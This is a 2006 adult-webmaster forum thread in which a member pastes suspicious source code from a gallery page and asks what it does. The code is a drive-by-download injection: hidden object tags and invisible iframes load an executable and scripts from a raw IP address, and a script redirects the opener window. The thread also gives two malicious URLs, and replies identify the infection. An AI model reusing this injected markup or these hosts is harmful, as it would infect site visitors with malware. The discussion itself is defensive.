Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar Mark Forums Read
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Does anybody have a test machine to see what this code does? Does anybody have a test machine to see what this code does?
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 01-12-2006, 09:09 AM   #1
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Does anybody have a test machine to see what this code does?
I checked a gallery and the sec i clicked it my puter started going crazy. It started loading something it seems and took mins before it was back to normal.
I checked the source of the gallery and notice some odd stuff...

This is the url. DO NOT CLICK IT!
h ttp://195.225.177.38/mind/r001/

And inside i found stuff like:

Code:
<object data="http://195.225.177.38/rnrdnew/str.exe" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<object data="http://195.225.177.38/rnrdnew/strsp2.js" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<iframe src="http://195.225.177.38/rnrdnew/index.html" width=1 height=1 style="display:none"></iframe>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--

      if (parent.window.opener) parent.window.opener.location='http://195.225.177.38/tds/in.cgi?nine';
     //-->
     </SCRIPT>

<iframe src="http://195.225.177.38/mind/st/index.htm" width="1" height="1"></iframe>
Anybody know what all this crap is? I see no signs of infection yet but i think im hit with something.

Also this opened in a new window: ONE AGAIN DO NOT CLICK unless you're on a test machine.

h ttp://82.179.166.2/default.php?id=83556&c=cHw1J1sN3Jy70Z9v8JLN1D4XJNc RA1u7
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:11 AM   #2
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
The whois goes to a Ukranian address. What a surprise.
I see shady shit and Russians are involved. Who wouldve guessed that.
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:14 AM   #3
AlienQ - BANNED FOR LIFE
best designer on GFY
 
AlienQ - BANNED FOR LIFE's Avatar
 
Join Date: Mar 2003
Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384
Posts: 30,307
Quote:
Originally Posted by Franck
The whois goes to a Ukranian address. What a surprise.
I see shady shit and Russians are involved. Who wouldve guessed that.
What more is there to know?
Someones PC is forever changed and tainted.

Shoot your Hard Drive.
AlienQ - BANNED FOR LIFE is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:17 AM   #4
fris
Too lazy to set a custom title
 
fris's Avatar
 
Industry Role:
Join Date: Aug 2002
Posts: 55,474
it has an .exe in the object address that shold tell you something.
__________________
Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence.


My Cam Feeds Script
fris is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:19 AM   #5
AlienQ - BANNED FOR LIFE
best designer on GFY
 
AlienQ - BANNED FOR LIFE's Avatar
 
Join Date: Mar 2003
Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384
Posts: 30,307
http://vil.mcafeesecurity.com/vil/content/v_135733.htm
AlienQ - BANNED FOR LIFE is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:21 AM   #6
AlienQ - BANNED FOR LIFE
best designer on GFY
 
AlienQ - BANNED FOR LIFE's Avatar
 
Join Date: Mar 2003
Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384
Posts: 30,307
Basically McAffey says you are fucked.
AlienQ - BANNED FOR LIFE is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:22 AM   #7
KingK7
Confirmed User
 
Join Date: Jun 2002
Posts: 6,372
It will make you convert in 1:7000 with ccbill
KingK7 is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:23 AM   #8
AlienQ - BANNED FOR LIFE
best designer on GFY
 
AlienQ - BANNED FOR LIFE's Avatar
 
Join Date: Mar 2003
Location: IALIEN.COM - High Definition Video and Photographic Productions -ICQ 78943384
Posts: 30,307
Quote:
Originally Posted by KingK7
It will make you convert in 1:7000 with ccbill

LOL

Ya think it is a AFF Code swapper? Could be...
AlienQ - BANNED FOR LIFE is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:43 AM   #9
chupachups
Confirmed User
 
chupachups's Avatar
 
Join Date: Dec 2002
Location: Sweden/Spain you sum bitch!
Posts: 6,576
I know what nasty shit this it..... Summary: Pay or format your HD
__________________
chupachups is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:45 AM   #10
GFX Wiz
Confirmed User
 
Join Date: Jul 2004
Location: SW Florida
Posts: 916
Quote:
Originally Posted by Franck
I checked a gallery and the sec i clicked it my puter started going crazy. It started loading something it seems and took mins before it was back to normal.
I checked the source of the gallery and notice some odd stuff...

This is the url. DO NOT CLICK IT!
h ttp://195.225.177.38/mind/r001/

And inside i found stuff like:

Code:
<object data="http://195.225.177.38/rnrdnew/str.exe" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<object data="http://195.225.177.38/rnrdnew/strsp2.js" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<iframe src="http://195.225.177.38/rnrdnew/index.html" width=1 height=1 style="display:none"></iframe>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--

      if (parent.window.opener) parent.window.opener.location='http://195.225.177.38/tds/in.cgi?nine';
     //-->
     </SCRIPT>

<iframe src="http://195.225.177.38/mind/st/index.htm" width="1" height="1"></iframe>
Anybody know what all this crap is? I see no signs of infection yet but i think im hit with something.

Also this opened in a new window: ONE AGAIN DO NOT CLICK unless you're on a test machine.

h ttp://82.179.166.2/default.php?id=83556&c=cHw1J1sN3Jy70Z9v8JLN1D4XJNc RA1u7
Thanks Franck...we're always looking for shit like this for our test machines. If anyone else has any more, please post or email to [email protected]
__________________
ICQ: 148.167.599
GFX Wiz is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:47 AM   #11
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Quote:
Originally Posted by chupachups
I know what nasty shit this it..... Summary: Pay or format your HD

I cant find any sings of infection. I wonder if it failed to install.
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:48 AM   #12
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Quote:
Originally Posted by GFX Wiz
Thanks Franck...we're always looking for shit like this for our test machines. If anyone else has any more, please post or email to [email protected]

Yw...what exactly you do with it?
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:51 AM   #13
GFX Wiz
Confirmed User
 
Join Date: Jul 2004
Location: SW Florida
Posts: 916
Quote:
Originally Posted by Franck
Yw...what exactly you do with it?
Harvest spyware definitions for our anti-spyware application
__________________
ICQ: 148.167.599
GFX Wiz is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:52 AM   #14
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Quote:
Originally Posted by GFX Wiz
Harvest spyware definitions for our anti-spyware application

i see...cool.
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:56 AM   #15
chupachups
Confirmed User
 
chupachups's Avatar
 
Join Date: Dec 2002
Location: Sweden/Spain you sum bitch!
Posts: 6,576
Franck, do you see any disturbing effects of it? Did it change your wallpaper, and you cant change it back etc?
__________________
chupachups is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 01-12-2006, 09:59 AM   #16
Dirty F
Too lazy to set a custom title
 
Dirty F's Avatar
 
Industry Role:
Join Date: Jul 2001
Posts: 59,204
Quote:
Originally Posted by chupachups
Franck, do you see any disturbing effects of it? Did it change your wallpaper, and you cant change it back etc?

Nothing so far. I checked the windows dirs. No new files, no changes. Virus scanner didnt pick up anything so far...but who knows after a reboot.

I used FF...maybe that stopped the infection partly.
Dirty F is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Does anybody have a test machine to see what this code does? Does anybody have a test machine to see what this code does?
« Previous Thread | Next Thread »

Bookmarks
Thread Tools



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.